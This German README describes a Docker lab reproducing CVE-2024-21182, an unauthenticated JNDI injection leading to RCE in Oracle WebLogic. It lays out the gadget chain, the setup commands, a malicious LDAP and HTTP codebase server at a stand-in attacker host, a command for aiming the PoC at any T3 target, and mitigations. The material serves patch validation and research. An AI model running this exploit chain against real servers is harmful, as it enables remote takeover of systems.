
Reproduzierbares Docker-Labor für CVE-2024-21182 Oracle WebLogic T3/IIOP OpaqueReference JNDI-Injection, die zu nicht authentifizierter RCE führt. Ein-Befehl-validate.sh für autorisierte Sicherheitstests und Patch-Validierung.
Ein eigenständiges, One-Command-Docker-Lab zur Reproduktion und Validierung der
Oracle WebLogic Server OpaqueReference-JNDI-Injections-Schwachstellenfamilie
(CVE-2024-21182, eine Patch-Umgehung von CVE-2023-21839) und deren Umsetzung in
nicht authentifizierte Remotecodeausführung (RCE).
⚠️ Nur für autorisierte Sicherheitsforschung, Bildung und Patch-Validierung. Siehe HAFTUNGSAUSSCHLUSS. Führen Sie es nur gegen dieses Lab oder Systeme aus, die Ihnen gehören.
CVE-2024-21182 ist eine nicht authentifizierte Schwachstelle in der Core-Komponente
von Oracle WebLogic Server, die über die T3/IIOP-Protokolle (Standard-Port 7001) erreichbar ist.
Sie erlaubt einem Angreifer, ein präpariertes "Reference"-Objekt in den JNDI-Baum des Servers zu binden
und eine serverseitige JNDI-Abfrage gegen eine vom Angreifer kontrollierte URL auszulösen —
klassische JNDI-Injection, die zu RCE eskaliert.
| CVE | CVE-2024-21182 |
| Produkt | Oracle WebLogic Server (Core) |
| Betroffen (laut Oracle) | 12.2.1.4.0, 14.1.1.0.0 |
| Behoben in | Oracle Oktober 2024 Critical Patch Update |
| Angriffsvektor | Netzwerk, nicht authentifiziert, T3/IIOP (Port 7001) |
| CISA KEV | Ja (bekannte Ausnutzung in freier Wildbahn) |
| Klasse | Patch-Umgehung von CVE-2023-21839 (OpaqueReference JNDI-Injection) |
Ein WebLogic-Reference-Objekt wird während lookup() serverseitig von einer
ObjectFactory aufgelöst, die eine verschachtelte JNDI-Abfrage gegen eine vom Angreifer bereitgestellte
URL durchführt:
weblogic.jndi.internal.WLContextImpl.lookup
→ javax.naming.spi.NamingManager.getObjectInstance
→ weblogic.application.naming.MessageDestinationObjectFactory.getObjectInstance
→ weblogic.application.naming.MessageDestinationReference.lookupMessageDestination (Zeile 62)
→ new InitialContext().lookup( ldap://angreifer/… ) ← vom Angreifer kontrolliert, serverseitig
CVE-2023-21839 erreichte dies über weblogic.jndi.internal.ForeignOpaqueReference,
das Oracle dann absicherte. CVE-2024-21182 umgeht diese Absicherung, indem es die
gleiche ausländische Abfrage über
weblogic.ejb.container.internal.AggregatableOpaqueReference erreicht, dessen privates
referent-Feld reflektiv auf eine
weblogic.application.naming.MessageDestinationReference gesetzt wird.
Dieses Lab verwendet vulhub/weblogic:12.2.1.3-2018 (WebLogic 12.2.1.3, gebündeltes
JDK 1.8.0_151), da es das einzige frei weiterverbreitbare anfällige WebLogic-Image ist — die
Versionen, die CVE-2024-21182 offiziell auflistet (12.2.1.4.0 / 14.1.1.0.0), erfordern eine
Oracle-Lizenz und können hier nicht veröffentlicht werden.
Ehrlich gesagte Konsequenzen:
OpaqueReference-JNDI-Injection → RCE-Schwachstellenklasse,
die mit den genauen CVE-2024-21182-Gadget-Klassen ausgeführt wird
(AggregatableOpaqueReference + MessageDestinationReference).com.sun.jndi.ldap.object.trustURLCodebase=true (Remote-Codebase-Klassenladung). Auf modernen
JDKs feuert die Injection immer noch (SSRF), aber RCE erfordert ein Gadget, das bereits im
WebLogic-Klasspfad ist, anstatt einer Remote-Codebase.Voraussetzungen: Docker + Docker Compose v2. ~3 GB Image-Pull. Auf Apple Silicon läuft das
Image unter linux/amd64-Emulation (langsamerer Kaltstart, 2–5 Min.).
git clone <dieses-repo>
cd CVE-2024-21182-lab
docker compose up -d # startet: weblogic (:7001) + angreifer (LDAP/HTTP)
./validate.sh # wartet auf Boot, feuert Exploit, gibt PASS/FAIL aus
Erwartetes Ende von ./validate.sh:
[+] RCE CONFIRMED — Befehl im WebLogic-Container ausgeführt als:
------------------------------------------------------------
uid=1000(oracle) gid=1000(oracle) groups=1000(oracle)
Linux <id> ... x86_64 GNU/Linux
------------------------------------------------------------
[+] CVE-2024-21182 reproduziert (nicht authentifizierte T3-JNDI-Injection -> RCE)
Abbau:
docker compose down
t3://weblogic:7001 ldap://angreifer:1389/Evil
PoC-Client ───────────────────────► WebLogic ──────────────────────────────► angreifer (LDAP)
(in weblogic bind() + lookup() (Opfer) serverseitige JNDI-Abfrage gibt Reference zurück
container) {javaCodeBase=http://angreifer:8888/}
│ │
└────────── GET /Exploit.class ◄─────────────┘ (HTTP-Codebase)
lädt + instanziiert → static{} führt `id` aus
poc/CVE_2024_21182.java — der T3-Client. Erstellt das bösartige
AggregatableOpaqueReference, bind()et es, dann lookup() zur Auslösung der
serverseitigen Auflösung. Parametrisiert: <t3-host:port> <ldap-url>. Es wird
innerhalb des WebLogic-Containers von validate.sh kompiliert, da die Gadget-Klassen
im vollständigen WebLogic-Modulsatz leben (nicht im weiterverbreitbaren Thin-Client), sodass
hier keine Oracle-Jars mitgeliefert werden.exploit/ldap_server.py — minimaler bösartiger LDAP-Server, der eine JNDI
Reference zurückgibt, plus ein HTTP-Server, der die Factory-Klasse hostet. Läuft im
angreifer-Container, vom WebLogic aus über den Dienstnamen angreifer erreichbar.exploit/Exploit.java / Exploit.class — die Payload-Factory (Java 8 Bytecode).
Ihr statischer Initialisierer führt id / uname -a aus und schreibt die Ausgabe
nach /tmp/RCE_PROOF_CVE_2024_21182 im Opfer. Harmlos von Natur aus — bearbeiten Sie
es und führen Sie exploit/build.sh aus, um den Befehl zu ändern.Die ClassCastException (Exploit cannot be cast to ObjectFactory), die Sie sehen werden,
ist erwartet und kosmetisch — sie tritt nach dem bereits ausgeführten statischen Initialisierer
(dem Payload) auf.
Richten Sie den PoC an jeden T3-Endpunkt, den Sie zu testen autorisiert sind:
# von einem Host mit dem WebLogic Thin-Client aus oder passen Sie validate.sh an:
java -cp ".:wlthint3client.jar" CVE_2024_21182 ZIEL:7001 ldap://IHR_LDAP:1389/Evil
trustURLCodebase=false; Sie haben immer noch SSRF, und RCE ist möglicherweise über ein
Classpath-Gadget möglich.weblogic.security.net.ConnectionFilterImpl) und Host-Firewalls ein.com.sun.jndi.ldap.object.trustURLCodebase=false (Standard auf aktuellen
JDKs); unterbricht das Remote-Codebase-RCE-Bein (nicht das Injection-Bein).bind von *OpaqueReference-Typen.k4it0k1d/CVE-2024-21182weblogic/CVE-2023-21839)OpaqueReference-Familie)Dieses Projekt wird für autorisierte Sicherheitstests, defensive Validierung und Bildung veröffentlicht.
Die anfällige Software läuft in einem isolierten Docker-Lab. Verwenden Sie diese Techniken nicht gegen
Systeme, die Ihnen nicht gehören oder für die Sie nicht ausdrücklich autorisiert sind zu testen. Die Autoren
übernehmen keine Haftung für Missbrauch. Siehe LICENSE.